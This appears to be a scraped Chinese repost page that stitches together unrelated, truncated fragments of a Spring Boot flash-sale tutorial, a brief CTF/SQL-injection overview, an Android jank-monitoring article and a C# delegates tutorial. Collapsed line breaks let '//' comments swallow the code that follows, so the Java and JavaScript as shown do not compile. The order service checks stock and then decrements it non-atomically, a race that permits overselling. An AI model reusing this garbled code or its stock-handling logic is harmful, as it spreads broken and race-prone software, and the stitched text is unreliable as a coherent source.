$;layui.define(() => {layer = layui.layerform = layui.form$ = layui.jquery$('buy').click(() => {$.ajax({url: '/seckillOrder/addOrder',data: {goodsId: $('goodsId').val()},dataType: 'json',type: 'post',async: false,success: function (rs) {if (rs.code === 200)layer.msg(rs.message)elselayer.msg(rs.message)} })});}) ④、展示效果 点击秒杀： 3、后端操作秒杀抢购功能 ①、导入雪花id工具包：SnowFlake package com.example.seckill.util;@SuppressWarnings("all")public class SnowFlake {/ 起始的时间戳/private final static long START_STMP = 1480166465631L;/ 每一部分占用的位数/private final static long SEQUENCE_BIT = 12; //序列号占用的位数private final static long MACHINE_BIT = 5; //机器标识占用的位数private final static long DATACENTER_BIT = 5;//数据中心占用的位数/ 每一部分的最大值/private final static long MAX_DATACENTER_NUM = -1L ^ (-1L << DATACENTER_BIT);private final static long MAX_MACHINE_NUM = -1L ^ (-1L << MACHINE_BIT);private final static long MAX_SEQUENCE = -1L ^ (-1L << SEQUENCE_BIT);/ 每一部分向左的位移/private final static long MACHINE_LEFT = SEQUENCE_BIT;private final static long DATACENTER_LEFT = SEQUENCE_BIT + MACHINE_BIT;private final static long TIMESTMP_LEFT = DATACENTER_LEFT + DATACENTER_BIT;private long datacenterId; //数据中心private long machineId; //机器标识private long sequence = 0L; //序列号private long lastStmp = -1L;//上一次时间戳public SnowFlake(long datacenterId, long machineId) {if (datacenterId > MAX_DATACENTER_NUM || datacenterId < 0) {throw new IllegalArgumentException("datacenterId can't be greater than MAX_DATACENTER_NUM or less than 0");}if (machineId > MAX_MACHINE_NUM || machineId < 0) {throw new IllegalArgumentException("machineId can't be greater than MAX_MACHINE_NUM or less than 0");}this.datacenterId = datacenterId;this.machineId = machineId;}public static void main(String[] args) {SnowFlake snowFlake = new SnowFlake(2, 3);long start = System.currentTimeMillis();for (int i = 0; i < 1000000; i++) {System.out.println(snowFlake.nextId());}System.out.println(System.currentTimeMillis() - start);}/ 产生下一个ID @return/public synchronized long nextId() {long currStmp = getNewstmp();if (currStmp < lastStmp) {throw new RuntimeException("Clock moved backwards. Refusing to generate id");}if (currStmp == lastStmp) {//相同毫秒内，序列号自增sequence = (sequence + 1) & MAX_SEQUENCE;//同一毫秒的序列数已经达到最大if (sequence == 0L) {currStmp = getNextMill();} } else {//不同毫秒内，序列号置为0sequence = 0L;}lastStmp = currStmp;return (currStmp - START_STMP) << TIMESTMP_LEFT //时间戳部分| datacenterId << DATACENTER_LEFT //数据中心部分| machineId << MACHINE_LEFT //机器标识部分| sequence; //序列号部分}private long getNextMill() {long mill = getNewstmp();while (mill <= lastStmp) {mill = getNewstmp();}return mill;}private long getNewstmp() {return System.currentTimeMillis();} } ②、service层 ISeckillOrderService ： package com.example.seckill.service;import com.example.seckill.pojo.SeckillOrder;import com.baomidou.mybatisplus.extension.service.IService;import com.example.seckill.pojo.User;import com.example.seckill.util.response.ResponseResult;/ <p> 秒杀订单信息表 服务类 </p> @author lv @since 2022-03-19/public interface ISeckillOrderService extends IService<SeckillOrder> {ResponseResult<?> addOrder(Long goodsId, User user);} SeckillOrderServiceImpl ： package com.example.seckill.service.impl;import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper;import com.example.seckill.exception.BusinessException;import com.example.seckill.mapper.GoodsMapper;import com.example.seckill.mapper.OrderMapper;import com.example.seckill.mapper.SeckillGoodsMapper;import com.example.seckill.pojo.;import com.example.seckill.mapper.SeckillOrderMapper;import com.example.seckill.service.ISeckillOrderService;import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;import com.example.seckill.util.SnowFlake;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.util.response.ResponseResultCode;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;/ <p> 秒杀订单信息表 服务实现类 </p> @author lv @since 2022-03-19/@Servicepublic class SeckillOrderServiceImpl extends ServiceImpl<SeckillOrderMapper, SeckillOrder> implements ISeckillOrderService {@Autowiredprivate SeckillGoodsMapper seckillGoodsMapper;@Autowiredprivate GoodsMapper goodsMapper;@Autowiredprivate OrderMapper orderMapper;@Transactional(rollbackFor = Exception.class)@Overridepublic ResponseResult<?> addOrder(Long goodsId, User user) {// 下单前判断库存数SeckillGoods goods = seckillGoodsMapper.selectOne(new QueryWrapper<SeckillGoods>().eq("goods_id", goodsId));if (goods == null) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_ERROR);}if (goods.getStockCount() < 1) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_ERROR);}// 限购SeckillOrder one = this.getOne(new QueryWrapper<SeckillOrder>().eq("user_id", user.getId()).eq("goods_id", goodsId));if (one != null) {throw new BusinessException(ResponseResultCode.SECKILL_ORDER_EXISTS_ERROR);}// 库存减一int i = seckillGoodsMapper.update(null, new UpdateWrapper<SeckillGoods>().eq("goods_id", goodsId).setSql("stock_count=stock_count-1"));// 根据商品编号查询对应的商品（拿名字）Goods goodsInfo = goodsMapper.selectOne(new QueryWrapper<Goods>().eq("gid", goodsId));// 生成订单//生成雪花idSnowFlake snowFlake = new SnowFlake(5, 9);long id = snowFlake.nextId();//生成对应的订单Order normalOrder = new Order();normalOrder.setOid(id);normalOrder.setUserId(user.getId());normalOrder.setGoodsId(goodsId);normalOrder.setGoodsName(goodsInfo.getGoodsName());normalOrder.setGoodsCount(1);normalOrder.setGoodsPrice(goods.getSeckillPrice());orderMapper.insert(normalOrder);//生成秒杀订单SeckillOrder seckillOrder = new SeckillOrder();seckillOrder.setUserId(user.getId());seckillOrder.setOrderId(normalOrder.getOid());seckillOrder.setGoodsId(goodsId);this.save(seckillOrder);return ResponseResult.success();} } ③、controller层 SeckillOrderController ： package com.example.seckill.controller;import com.example.seckill.pojo.User;import com.example.seckill.service.ISeckillOrderService;import com.example.seckill.util.response.ResponseResult;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;/ <p> 秒杀订单信息表 前端控制器 </p> @author lv @since 2022-03-19/@RestController@RequestMapping("/seckillOrder")public class SeckillOrderController {@Autowiredprivate ISeckillOrderService seckillOrderService;@RequestMapping("/addOrder")public ResponseResult<?> addOrder(Long goodsId, User user){return seckillOrderService.addOrder(goodsId,user);} } ④、呈现结果 限购次数： 本期内容结束，下期内容更完善！！！！！！！！！！！！！！！！！！！！！1 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_60389087/article/details/123601288。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...全球范围内的网络安全事件频发，使得各大企业和组织对安全人才的需求日益增长。据《2021年网络安全行业报告》显示，SQL注入攻击依然是最常见的网络攻击手段之一，占整体Web应用攻击的40%以上。因此，理解并掌握如何防御此类攻击显得尤为关键，而CTF比赛则为学习和实践提供了宝贵的平台。 此外，随着技术的发展，新的漏洞和攻击手法不断涌现，如PHP get_headers()函数的零字节截断漏洞利用，提示我们关注软件更新与补丁管理的重要性。同时，对于数据库系统内部机制的理解也至关重要，比如MySQL中的pipes_as_concat模式下字符串拼接符“||”的特殊作用，它警示开发者在构建查询时需考虑潜在的安全风险，并合理配置数据库参数以增强安全性。 总的来说，无论是针对传统SQL注入手法的深入探究，还是紧跟CVE公告及时发现并修复新出现的安全漏洞，CTF比赛所涵盖的各种实战演练都是广大网络安全从业者及爱好者丰富知识库、提高实战技能的有效途径。同时，这也提醒我们应时刻保持警惕，密切关注业界动态，不断提升自身的安全防护能力，确保在网络空间的攻防对抗中立于不败之地。

...要处理 input 事件。如果有大量的事件堆积或者在事件分发逻辑中加入大量耗时业务逻辑，会造成当前帧的时长被拉大，造成卡顿，可以尝试通过事件采样的方案，减少 event 的处理 4.动画处理：主要是 animator 动画的更新，同理，动画数量过多，或者动画的更新中有比较耗时的逻辑，也会造成当前帧的渲染卡顿。对动画的降帧和降复杂度其实解决的就是这个问题； 5.view 处理：主要是接下来的三大流程，过度绘制、频繁刷新、复杂的视图效果都是此处造成卡顿的主要原因。比如我们平时所说的降低页面层级，主要解决的就是这个问题； 6.measure/layout/draw：view 渲染的三大流程，因为涉及到遍历和高频执行，所以这里涉及到的耗时问题均会被放大，比如我们会降不能在 draw 里面调用耗时函数，不能 new 对象等等； 7.DisplayList 的更新：这里主要是 canvas 和 displaylist 的映射，一般不会存在卡顿问题，反而可能存在映射失败导致的显示问题； 8.OpenGL 指令转换：这里主要是将 canvas 的命令转换为 OpenGL 的指令，一般不存在问题 9.buffer 交换：这里主要指 OpenGL 指令集交换给 GPU，这个一般和指令的复杂度有关 10.GPU 处理：顾名思义，这里是 GPU 对数据的处理，耗时主要和任务量和纹理复杂度有关。这也就是我们降低 GPU 负载有助于降低卡顿的原因； 11.layer 合成：Android P 修改了 Layer 的计算方法 , 把这部分放到了 SurfaceFlinger 主线程去执行, 如果后台 Layer 过多, 就会导致 SurfaceFlinger 在执行 rebuildLayerStacks 的时候耗时 , 导致 SurfaceFlinger 主线程执行时间过长。 可以选择降低Surface层级来优化卡顿。 12.光栅化/Display：这里暂时忽略，底层系统行为； Buffer 切换：主要是屏幕的显示，这里 buffer 的数量也会影响帧的整体延迟，不过是系统行为，不能干预。 2.系统负载 内存：内存的吃紧会直接导致 GC 的增加甚至 ANR，是造成卡顿的一个不可忽视的因素； CPU：CPU 对卡顿的影响主要在于线程调度慢、任务执行的慢和资源竞争，比如 1.降频会直接导致应用卡顿； 2.后台活动进程太多导致系统繁忙，cpu \ io \ memory 等资源都会被占用, 这时候很容易出现卡顿问题 ，这种情况比较常见,可以使用dumpsys cpuinfo查看当前设备的cpu使用情况： 3.主线程调度不到 , 处于 Runnable 状态，这种情况比较少见 4.System 锁：system_server 的 AMS 锁和 WMS 锁 , 在系统异常的情况下 , 会变得非常严重 , 如下图所示 , 许多系统的关键任务都被阻塞 , 等待锁的释放 , 这时候如果有 App 发来的 Binder 请求带锁 , 那么也会进入等待状态 , 这时候 App 就会产生性能问题 ; 如果此时做 Window 动画 , 那么 system_server 的这些锁也会导致窗口动画卡顿 GPU：GPU 的影响见渲染流程，但是其实还会间接影响到功耗和发热； 功耗/发热：功耗和发热一般是不分家的，高功耗会引起高发热，进而会引起系统保护，比如降频、热缓解等，间接的导致卡顿。 如何监控卡顿 线下监控： 我们知道卡顿问题的原因错综复杂，但最终都可以反馈到CPU使用率上来 1.使用dumpsys cpuinfo命令 这个命令可以获取当时设备cpu使用情况，我们可以在线下通过重度使用应用来检测可能存在的卡顿点 A8S:/ $ dumpsys cpuinfoLoad: 1.12 / 1.12 / 1.09CPU usage from 484321ms to 184247ms ago (2022-11-02 14:48:30.793 to 2022-11-02 14:53:30.866):2% 1053/scanserver: 0.2% user + 1.7% kernel0.6% 934/system_server: 0.4% user + 0.1% kernel / faults: 563 minor0.4% 564/signserver: 0% user + 0.4% kernel0.2% 256/ueventd: 0.1% user + 0% kernel / faults: 320 minor0.2% 474/surfaceflinger: 0.1% user + 0.1% kernel0.1% 576/vendor.sprd.hardware.gnss@2.0-service: 0.1% user + 0% kernel / faults: 54 minor0.1% 286/logd: 0% user + 0% kernel / faults: 10 minor0.1% 2821/com.allinpay.appstore: 0.1% user + 0% kernel / faults: 1312 minor0.1% 447/android.hardware.health@2.0-service: 0% user + 0% kernel / faults: 1175 minor0% 1855/com.smartpos.dataacqservice: 0% user + 0% kernel / faults: 755 minor0% 2875/com.allinpay.appstore:pushcore: 0% user + 0% kernel / faults: 744 minor0% 1191/com.android.systemui: 0% user + 0% kernel / faults: 70 minor0% 1774/com.android.nfc: 0% user + 0% kernel0% 172/kworker/1:2: 0% user + 0% kernel0% 145/irq/24-70900000: 0% user + 0% kernel0% 575/thermald: 0% user + 0% kernel / faults: 300 minor... 2.CPU Profiler 这个工具是AS自带的CPU性能检测工具，可以在PC上实时查看我们CPU使用情况。 AS提供了四种Profiling Model配置： 1.Sample Java Methods：在应用程序基于Java的代码执行过程中，频繁捕获应用程序的调用堆栈 获取有关应用程序基于Java的代码执行的时间和资源使用情况信息。 2.Trace java methods：在运行时对应用程序进行检测，以在每个方法调用的开始和结束时记录时间戳。收集时间戳并进行比较以生成方法跟踪数据，包括时序信息和CPU使用率。 请注意与检测每种方法相关的开销会影响运行时性能，并可能影响性能分析数据。对于生命周期相对较短的方法，这一点甚至更为明显。此外，如果您的应用在短时间内执行大量方法，则探查器可能会很快超过其文件大小限制，并且可能无法记录任何进一步的跟踪数据。 3.Sample C/C++ Functions:捕获应用程序本机线程的示例跟踪。要使用此配置，您必须将应用程序部署到运行Android 8.0（API级别26）或更高版本的设备。 4.Trace System Calls:捕获细粒度的详细信息，使您可以检查应用程序与系统资源的交互方式 您可以检查线程状态的确切时间和持续时间，可视化CPU瓶颈在所有内核中的位置，并添加自定义跟踪事件进行分析。在对性能问题进行故障排除时，此类信息可能至关重要。要使用此配置，您必须将应用程序部署到运行Android 7.0（API级别24）或更高版本的设备。 使用方式： Debug.startMethodTracing("");// 需要检测的代码片段...Debug.stopMethodTracing(); 优点：有比较全面的调用栈以及图像化方法时间显示，包含所有线程的情况 缺点：本身也会带来一点的性能开销，可能会带偏优化方向 火焰图：可以显示当前应用的方法堆栈： 3.Systrace Systrace在前面一篇分析启动优化的文章讲解过 这里我们简单来复习下： Systrace用来记录当前应用的系统以及应用(使用Trace类打点)的各阶段耗时信息包括绘制信息以及CPU信息等。 使用方式： Trace.beginSection("MyApp.onCreate_1");alt(200);Trace.endSection(); 在命令行中： python systrace.py -t 5 sched gfx view wm am app webview -a "com.chinaebipay.thirdcall" -o D:\trac1.html 记录的方法以及CPU中的耗时情况： 优点： 1.轻量级，开销小，CPU使用率可以直观反映 2.右侧的Alerts能够根据我们应用的问题给出具体的建议，比如说，它会告诉我们App界面的绘制比较慢或者GC比较频繁。 4.StrictModel StrictModel是Android提供的一种运行时检测机制，用来帮助开发者自动检测代码中不规范的地方。 主要和两部分相关： 1.线程相关 2.虚拟机相关 基础代码： private void initStrictMode() {// 1、设置Debug标志位，仅仅在线下环境才使用StrictModeif (DEV_MODE) {// 2、设置线程策略StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectCustomSlowCalls() //API等级11，使用StrictMode.noteSlowCode.detectDiskReads().detectDiskWrites().detectNetwork() // or .detectAll() for all detectable problems.penaltyLog() //在Logcat 中打印违规异常信息// .penaltyDialog() //也可以直接跳出警报dialog// .penaltyDeath() //或者直接崩溃.build());// 3、设置虚拟机策略StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects()// 给NewsItem对象的实例数量限制为1.setClassInstanceLimit(NewsItem.class, 1).detectLeakedClosableObjects() //API等级11.penaltyLog().build());} } 线上监控： 线上需要自动化的卡顿检测方案来定位卡顿，它能记录卡顿发生时的场景。 自动化监控原理： 采用拦截消息调度流程，在消息执行前埋点计时，当耗时超过阈值时，则认为是一次卡顿，会进行堆栈抓取和上报工作 首先，我们看下Looper用于执行消息循环的loop()方法，关键代码如下所示： / Run the message queue in this thread. Be sure to call {@link quit()} to end the loop./public static void loop() {...for (;;) {Message msg = queue.next(); // might blockif (msg == null) {// No message indicates that the message queue is quitting.return;// This must be in a local variable, in case a UI event sets the loggerfinal Printer logging = me.mLogging;if (logging != null) {// 1logging.println(">>>>> Dispatching to " + msg.target + " " +msg.callback + ": " + msg.what);}...try {// 2 msg.target.dispatchMessage(msg);dispatchEnd = needEndTime ? SystemClock.uptimeMillis() : 0;} finally {if (traceTag != 0) {Trace.traceEnd(traceTag);} }...if (logging != null) {// 3logging.println("<<<<< Finished to " + msg.target + " " + msg.callback);} 在Looper的loop()方法中，在其执行每一个消息（注释2处）的前后都由logging进行了一次打印输出。可以看到，在执行消息前是输出的">>>>> Dispatching to “，在执行消息后是输出的”<<<<< Finished to ",它们打印的日志是不一样的，我们就可以由此来判断消息执行的前后时间点。 具体的实现可以归纳为如下步骤： 1、首先，我们需要使用Looper.getMainLooper().setMessageLogging()去设置我们自己的Printer实现类去打印输出logging。这样，在每个message执行的之前和之后都会调用我们设置的这个Printer实现类。 2、如果我们匹配到">>>>> Dispatching to "之后，我们就可以执行一行代码：也就是在指定的时间阈值之后，我们在子线程去执行一个任务，这个任务就是去获取当前主线程的堆栈信息以及当前的一些场景信息，比如：内存大小、电脑、网络状态等。 3、如果在指定的阈值之内匹配到了"<<<<< Finished to "，那么说明message就被执行完成了，则表明此时没有产生我们认为的卡顿效果，那我们就可以将这个子线程任务取消掉。 这里我们使用blockcanary来做测试: BlockCanary APM是一个非侵入式的性能监控组件，可以通过通知的形式弹出卡顿信息。它的原理就是我们刚刚讲述到的卡顿监控的实现原理。 使用方式： 1.导入依赖 implementation 'com.github.markzhai:blockcanary-android:1.5.0' Application的onCreate方法中开启卡顿监控 // 注意在主进程初始化调用BlockCanary.install(this, new AppBlockCanaryContext()).start(); 3.继承BlockCanaryContext类去实现自己的监控配置上下文类 public class AppBlockCanaryContext extends BlockCanaryContext {....../ 指定判定为卡顿的阈值threshold (in millis), 你可以根据不同设备的性能去指定不同的阈值 @return threshold in mills/public int provideBlockThreshold() {return 1000;}....} 4.在Activity的onCreate方法中执行一个耗时操作 try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();} 5.结果： 可以看到一个和LeakCanary一样效果的阻塞可视化堆栈图 那有了BlockCanary的方法耗时监控方式是不是就可以解百愁了呢，呵呵。有那么容易就好了 根据原理：我们拿到的是msg执行前后的时间和堆栈信息，如果msg中有几百上千个方法，就无法确认到底是哪个方法导致的耗时，也有可能是多个方法堆积导致。 这就导致我们无法准确定位哪个方法是最耗时的。如图中：堆栈信息是T2的，而发生耗时的方法可能是T1到T2中任何一个方法甚至是堆积导致。 那如何优化这块？ 这里我们采用字节跳动给我们提供的一个方案：基于 Sliver trace 的卡顿监控体系 Sliver trace 整体流程图： 主要包含两个方面: 检测方案： 在监控卡顿时，首先需要打开 Sliver 的 trace 记录能力，Sliver 采样记录 trace 执行信息，对抓取到的堆栈进行 diff 聚合和缓存。 同时基于我们的需要设置相应的卡顿阈值，以 Message 的执行耗时为衡量。对主线程消息调度流程进行拦截，在消息开始分发执行时埋点，在消息执行结束时计算消息执行耗时，当消息执行耗时超过阈值，则认为产生了一次卡顿。 堆栈聚合策略： 当卡顿发生时，我们需要为此次卡顿准备数据，这部分工作是在端上子线程中完成的，主要是 dump trace 到文件以及过滤聚合要上报的堆栈。分为以下几步： 1.拿到缓存的主线程 trace 信息并 dump 到文件中。 2.然后从文件中读取 trace 信息，按照数据格式，从最近的方法栈向上追溯，找到当前 Message 包含的全部 trace 信息，并将当前 Message 的完整 trace 写入到待上传的 trace 文件中，删除其余 trace 信息。 3.遍历当前 Message trace，按照（Method 执行耗时 > Method 耗时阈值 & Method 耗时为该层堆栈中最耗时）为条件过滤出每一层函数调用堆栈的最长耗时函数，构成最后要上报的堆栈链路，这样特征堆栈中的每一步都是最耗时的，且最底层 Method 为最后的耗时大于阈值的 Method。 之后，将 trace 文件和堆栈一同上报，这样的特征堆栈提取策略保证了堆栈聚合的可靠性和准确性，保证了上报到平台后堆栈的正确合理聚合，同时提供了进一步分析问题的 trace 文件。 可以看到字节给的是一整套监控方案，和前面BlockCanary不同之处就在于，其是定时存储堆栈，缓存，然后使用diff去重的方式，并上传到服务器，可以最大限度的监控到可能发生比较耗时的方法。 开发中哪些习惯会影响卡顿的发生 1.布局太乱，层级太深。 1.1：通过减少冗余或者嵌套布局来降低视图层次结构。比如使用约束布局代替线性布局和相对布局。 1.2：用 ViewStub 替代在启动过程中不需要显示的 UI 控件。 1.3：使用自定义 View 替代复杂的 View 叠加。 2.主线程耗时操作 2.1：主线程中不要直接操作数据库，数据库的操作应该放在数据库线程中完成。 2.2：sharepreference尽量使用apply，少使用commit，可以使用MMKV框架来代替sharepreference。 2.3：网络请求回来的数据解析尽量放在子线程中，不要在主线程中进行复制的数据解析操作。 2.4：不要在activity的onResume和onCreate中进行耗时操作，比如大量的计算等。 2.5：不要在 draw 里面调用耗时函数，不能 new 对象 3.过度绘制 过度绘制是同一个像素点上被多次绘制，减少过度绘制一般减少布局背景叠加等方式，如下图所示右边是过度绘制的图片。 4.列表 RecyclerView使用优化，使用DiffUtil和notifyItemDataSetChanged进行局部更新等。 5.对象分配和回收优化 自从Android引入 ART 并且在Android 5.0上成为默认的运行时之后，对象分配和垃圾回收（GC）造成的卡顿已经显著降低了，但是由于对象分配和GC有额外的开销，它依然又可能使线程负载过重。 在一个调用不频繁的地方（比如按钮点击）分配对象是没有问题的，但如果在在一个被频繁调用的紧密的循环里，就需要避免对象分配来降低GC的压力。 减少小对象的频繁分配和回收操作。 好了，关于卡顿优化的问题就讲到这里，下篇文章会对卡顿中的ANR情况的处理，这里做个铺垫。 如果喜欢我的文章，欢迎关注我的公众号。 点击这看原文链接： 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列：Android屏幕刷新机制—VSync、Choreographer 全面理解！ 深入探索Android卡顿优化（上） 西瓜卡顿 & ANR 优化治理及监控体系建设 5376)] 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列：Android屏幕刷新机制—VSync、Choreographer 全面理解！ 深入探索Android卡顿优化（上） 西瓜卡顿 & ANR 优化治理及监控体系建设 本篇文章为转载内容。原文链接：https://blog.csdn.net/yuhaibing111/article/details/127682399。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...。 C 中的委托和事件(详解) 转载：http://www.cnblogs.com/SkySoot/archive/2012/04/05/2433639.html C 中的委托和事件 委托和事件在 .NET Framework 中的应用非常广泛，然而，较好地理解委托和事件对很多接触 C 时间不长的人来说并不容易。它们就像是一道槛儿，过了这个槛的人，觉得真是太容易了，而没有过去的人每次见到委托和事件就觉得心里堵得慌，浑身不自在。本章中，我将由浅入深地讲述什么是委托、为什么要使用委托、事件的由来、.NET Framework 中的委托和事件、委托中方法异常和超时的处理、委托与异步编程、委托和事件对Observer 设计模式的意义，对它们的编译代码也做了讨论。 1.1 理解委托 1.1.1 将方法作为方法的参数 我们先不管这个标题如何的绕口，也不管委托究竟是个什么东西，来看下面这两个最简单的方法，它们不过是在屏幕上输出一句问候的话语： public void GreetPeople(string name){EnglishGreeting(name);}public void EnglishGreeting(string name){Console.WriteLine("Good Morning, " + name);} 暂且不管这两个方法有没有什么实际意义。GreetPeople 用于向某人问好，当我们传递代表某人姓名的 name 参数，比如说“Liker”进去的时候，在这个方法中，将调用 EnglishGreeting 方法，再次传递 name 参数，EnglishGreeting 则用于向屏幕输出 “Good Morning, Liker”。 现在假设这个程序需要进行全球化，哎呀，不好了，我是中国人，我不明白“Good Morning”是什么意思，怎么办呢？好吧，我们再加个中文版的问候方法： public void ChineseGreeting(string name){Console.WriteLine("早上好, " + name);} 这时候，GreetPeople 也需要改一改了，不然如何判断到底用哪个版本的 Greeting 问候方法合适呢？在进行这个之前，我们最好再定义一个枚举作为判断的依据： public enum Language{English, Chinese}public void GreetPeople(string name, Language lang){switch (lang){case Language.English:EnglishGreeting(name);break;case Language.Chinese:ChineseGreeting(name);break;} } OK，尽管这样解决了问题，但我不说大家也很容易想到，这个解决方案的可扩展性很差，如果日后我们需要再添加韩文版、日文版，就不得不反复修改枚举和GreetPeople() 方法，以适应新的需求。 在考虑新的解决方案之前，我们先看看 GreetPeople 的方法签名： public void GreetPeople(string name, Language lang); 我们仅看 string name，在这里，string 是参数类型，name 是参数变量，当我们赋给 name 字符串“Liker”时，它就代表“Liker”这个值；当我们赋给它“李志中”时，它又代表着“李志中”这个值。然后，我们可以在方法体内对这个 name 进行其他操作。哎，这简直是废话么，刚学程序就知道了。 如果你再仔细想想，假如 GreetPeople() 方法可以接受一个参数变量，这个变量可以代表另一个方法，当我们给这个变量赋值 EnglishGreeting 的时候，它代表着 EnglsihGreeting() 这个方法；当我们给它赋值ChineseGreeting 的时候，它又代表着 ChineseGreeting() 法。我们将这个参数变量命名为 MakeGreeting，那么不是可以如同给 name 赋值时一样，在调用 GreetPeople()方法的时候，给这个MakeGreeting 参数也赋上值么(ChineseGreeting 或者EnglsihGreeting 等)？然后，我们在方法体内，也可以像使用别的参数一样使用MakeGreeting。但是，由于 MakeGreeting 代表着一个方法，它的使用方式应该和它被赋的方法(比如ChineseGreeting)是一样的，比如：MakeGreeting(name); 好了，有了思路了，我们现在就来改改GreetPeople()方法，那么它应该是这个样子了： public void GreetPeople(string name, MakeGreeting) { MakeGreeting(name); } 注意到 ，这个位置通常放置的应该是参数的类型，但到目前为止，我们仅仅是想到应该有个可以代表方法的参数，并按这个思路去改写 GreetPeople 方法，现在就出现了一个大问题：这个代表着方法的 MakeGreeting 参数应该是什么类型的？ 说明：这里已不再需要枚举了，因为在给MakeGreeting 赋值的时候动态地决定使用哪个方法，是 ChineseGreeting 还是 EnglishGreeting，而在这个两个方法内部，已经对使用“Good Morning”还是“早上好”作了区分。 聪明的你应该已经想到了，现在是委托该出场的时候了，但讲述委托之前，我们再看看MakeGreeting 参数所能代表的 ChineseGreeting()和EnglishGreeting()方法的签名： public void EnglishGreeting(string name) public void ChineseGreeting(string name) 如同 name 可以接受 String 类型的“true”和“1”，但不能接受bool 类型的true 和int 类型的1 一样。MakeGreeting 的参数类型定义应该能够确定 MakeGreeting 可以代表的方法种类，再进一步讲，就是 MakeGreeting 可以代表的方法的参数类型和返回类型。 于是，委托出现了：它定义了 MakeGreeting 参数所能代表的方法的种类，也就是 MakeGreeting 参数的类型。 本例中委托的定义： public delegate void GreetingDelegate(string name); 与上面 EnglishGreeting() 方法的签名对比一下，除了加入了delegate 关键字以外，其余的是不是完全一样？现在，让我们再次改动GreetPeople()方法，如下所示： public delegate void GreetingDelegate(string name);public void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);} 如你所见，委托 GreetingDelegate 出现的位置与 string 相同，string 是一个类型，那么 GreetingDelegate 应该也是一个类型，或者叫类(Class)。但是委托的声明方式和类却完全不同，这是怎么一回事？实际上，委托在编译的时候确实会编译成类。因为 Delegate 是一个类，所以在任何可以声明类的地方都可以声明委托。更多的内容将在下面讲述，现在，请看看这个范例的完整代码： public delegate void GreetingDelegate(string name);class Program{private static void EnglishGreeting(string name){Console.WriteLine("Good Morning, " + name);}private static void ChineseGreeting(string name){Console.WriteLine("早上好, " + name);}private static void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);}static void Main(string[] args){GreetPeople("Liker", EnglishGreeting);GreetPeople("李志中", ChineseGreeting);Console.ReadLine();} } 我们现在对委托做一个总结：委托是一个类，它定义了方法的类型，使得可以将方法当作另一个方法的参数来进行传递，这种将方法动态地赋给参数的做法，可以避免在程序中大量使用If … Else(Switch)语句，同时使得程序具有更好的可扩展性。 1.1.2 将方法绑定到委托 看到这里，是不是有那么点如梦初醒的感觉？于是，你是不是在想：在上面的例子中，我不一定要直接在 GreetPeople() 方法中给 name 参数赋值，我可以像这样使用变量： static void Main(string[] args){GreetPeople("Liker", EnglishGreeting);GreetPeople("李志中", ChineseGreeting);Console.ReadLine();} 而既然委托 GreetingDelegate 和类型 string 的地位一样，都是定义了一种参数类型，那么，我是不是也可以这么使用委托？ static void Main(string[] args){GreetingDelegate delegate1, delegate2;delegate1 = EnglishGreeting;delegate2 = ChineseGreeting;GreetPeople("Liker", delegate1);GreetPeople("李志中", delegate2);Console.ReadLine();} 如你所料，这样是没有问题的，程序一如预料的那样输出。这里，我想说的是委托不同于 string 的一个特性：可以将多个方法赋给同一个委托，或者叫将多个方法绑定到同一个委托，当调用这个委托的时候，将依次调用其所绑定的方法。在这个例子中，语法如下： static void Main(string[] args){GreetingDelegate delegate1;delegate1 = EnglishGreeting; delegate1 += ChineseGreeting;GreetPeople("Liker", delegate1);Console.ReadLine();} 实际上，我们可以也可以绕过GreetPeople 方法，通过委托来直接调用EnglishGreeting 和ChineseGreeting： static void Main(string[] args){GreetingDelegate delegate1;delegate1 = EnglishGreeting;delegate1 += ChineseGreeting; delegate1("Liker");Console.ReadLine();} 说明：这在本例中是没有问题的，但回头看下上面 GreetPeople() 的定义，在它之中可以做一些对于 EnglshihGreeting 和 ChineseGreeting 来说都需要进行的工作，为了简便我做了省略。 注意这里，第一次用的“=”，是赋值的语法；第二次，用的是“+=”，是绑定的语法。如果第一次就使用“+=”，将出现“使用了未赋值的局部变量”的编译错误。我们也可以使用下面的代码来这样简化这一过程： GreetingDelegate delegate1 = new GreetingDelegate(EnglishGreeting);delegate1 += ChineseGreeting; 既然给委托可以绑定一个方法，那么也应该有办法取消对方法的绑定，很容易想到，这个语法是“-=”： static void Main(string[] args){GreetingDelegate delegate1 = new GreetingDelegate(EnglishGreeting);delegate1 += ChineseGreeting;GreetPeople("Liker", delegate1);Console.WriteLine();delegate1 -= EnglishGreeting;GreetPeople("李志中", delegate1);Console.ReadLine();} 让我们再次对委托作个总结： 使用委托可以将多个方法绑定到同一个委托变量，当调用此变量时(这里用“调用”这个词，是因为此变量代表一个方法)，可以依次调用所有绑定的方法。 1.2 事件的由来 1.2.1 更好的封装性 我们继续思考上面的程序：上面的三个方法都定义在 Programe 类中，这样做是为了理解的方便，实际应用中，通常都是 GreetPeople 在一个类中，ChineseGreeting 和 EnglishGreeting 